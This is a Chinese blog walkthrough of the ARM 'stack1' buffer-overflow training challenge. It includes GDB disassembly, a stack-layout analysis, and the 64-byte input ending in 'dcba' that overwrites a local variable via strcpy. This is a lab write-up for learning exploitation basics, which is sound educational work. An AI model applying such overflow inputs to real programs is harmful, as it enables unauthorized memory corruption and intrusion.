ARM 学习--Challenge stack 1

stack1

题目要掌握的知识点

  • 需要了解变量在内存中分布
  • 根据程序将变量修改为特定值
    在这里插入图片描述
运行

首先看看程序运行的效果,可以看到参数超长的时候会显示程序崩溃(分段错误)。并且显示0x31313131。
在这里插入图片描述

调试

这里要注意的是GDB版本在8.0 以上,需要在调试的一开始输入 starti
gef➤ break main
Breakpoint 1 at 0x104c8
gef➤ run
查看汇编代码
gef➤ disassemble main
Dump of assembler code for function main:
0x000104b0 <+0>: push {r11, lr}
0x000104b4 <+4>: add r11, sp, #4
0x000104b8 <+8>: sub sp, sp, #80 ; 0x50
0x000104bc <+12>: str r0, [r11, #-80] ; 0xffffffb0
0x000104c0 <+16>: str r1, [r11, #-84] ; 0xffffffac
0x000104c4 <+20>: ldr r3, [r11, #-80] ; 0xffffffb0
=> 0x000104c8 <+24>: cmp r3, #1
0x000104cc <+28>: bne 0x104dc <main+44>
0x000104d0 <+32>: mov r0, #1
0x000104d4 <+36>: ldr r1, [pc, #92] ; 0x10538 <main+136>
0x000104d8 <+40>: bl 0x10370 errx@plt
0x000104dc <+44>: mov r3, #0
0x000104e0 <+48>: str r3, [r11, #-8]
0x000104e4 <+52>: ldr r3, [r11, #-84] ; 0xffffffac
0x000104e8 <+56>: add r3, r3, #4
0x000104ec <+60>: ldr r3, [r3]
0x000104f0 <+64>: sub r2, r11, #72 ; 0x48
0x000104f4 <+68>: mov r0, r2
0x000104f8 <+72>: mov r1, r3
0x000104fc <+76>: bl 0x10340 strcpy@plt
0x00010500 <+80>: ldr r3, [r11, #-8]
0x00010504 <+84>: ldr r2, [pc, #48] ; 0x1053c <main+140>
0x00010508 <+88>: cmp r3, r2
0x0001050c <+92>: bne 0x1051c <main+108>
0x00010510 <+96>: ldr r0, [pc, #40] ; 0x10540 <main+144>
0x00010514 <+100>: bl 0x1034c puts@plt
0x00010518 <+104>: b 0x1052c <main+124>
0x0001051c <+108>: ldr r3, [r11, #-8]
0x00010520 <+112>: ldr r0, [pc, #28] ; 0x10544 <main+148>
0x00010524 <+116>: mov r1, r3
0x00010528 <+120>: bl 0x10334 printf@plt
0x0001052c <+124>: mov r0, r3
0x00010530 <+128>: sub sp, r11, #4
0x00010534 <+132>: pop {r11, pc}
0x00010538 <+136>: ; instruction: 0x000105bc
0x0001053c <+140>: cmnvs r2, r4, ror #6
0x00010540 <+144>: ldrdeq r0, [r1], -r8
0x00010544 <+148>: andeq r0, r1, r0, lsl r6
End of assembler dump.
根据分析和调试代码,了解代码之间的调用关系
在这里插入图片描述
首先第一块代码是分配栈空间,并且判断是否输入参数,输入参数就跳转到代码块3,主要是第四块,当R2和R3值相同的时候,就可以完成此题。
并且在调试的过程中,发现$r2 : 0x61626364 ("dcba"?)
并且R2的值是加载相对PC(用于保存下一条要执行的寄存器)的偏移地址的值。
R3的值是加载 R11(也就是FP 栈底)-8 地址的值。

R11 是 Frame Pointer地址(栈底),SP是栈顶,一般函数内的变量可以通过fp 取相对偏移获取,程序的输入参数也是这样。

从我们输入的超长字符可以看出,我们的输入的输入覆盖了[r11,#-8] ,然后0x00010500 <+80>: ldr r3, [r11, #-8] 就会把该地址的值加载给R3,然后R3的值就会和R2进行对比。因此只需要更改[r11, #-8]地址的值为0x61626364。那么R2和R3就会相等。
那么[r11,#-8] 的值是怎么传入的呢?
请看下面这段代码
0x000104dc <+44>: mov r3, #0
0x000104e0 <+48>: str r3, [r11, #-8]
0x000104e4 <+52>: ldr r3, [r11, #-84] ; 0xffffffac
0x000104e8 <+56>: add r3, r3, #4

可以看到会先初始化[r11, #-8] 地址的值。然后ldr r3, [r11, #-84]将输入的参数加载到r3中。

根据
0x000104b0 <+0>: push {r11, lr}
0x000104b4 <+4>: add r11, sp, #4
0x000104b8 <+8>: sub sp, sp, #80
可以了解整个栈空间的大小为
80+4+4(R11)+4(lr 函数返回地址) = 92 。栈空间总共92个字节,也就是23个word。
通过调试发现从第一个0x31313131算起,需要17 * 4 =64 个字符才能更改R11-#8的值。
在这里插入图片描述
在gdb 中输入64个字符串,其中最后4个字符串是dcba。
run 1111222233334444555566667777888899990000111122223333444455556666dcba
可以看到r3 的值成功被修改。
在这里插入图片描述

通过

并且成功显示获取正确的变量
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值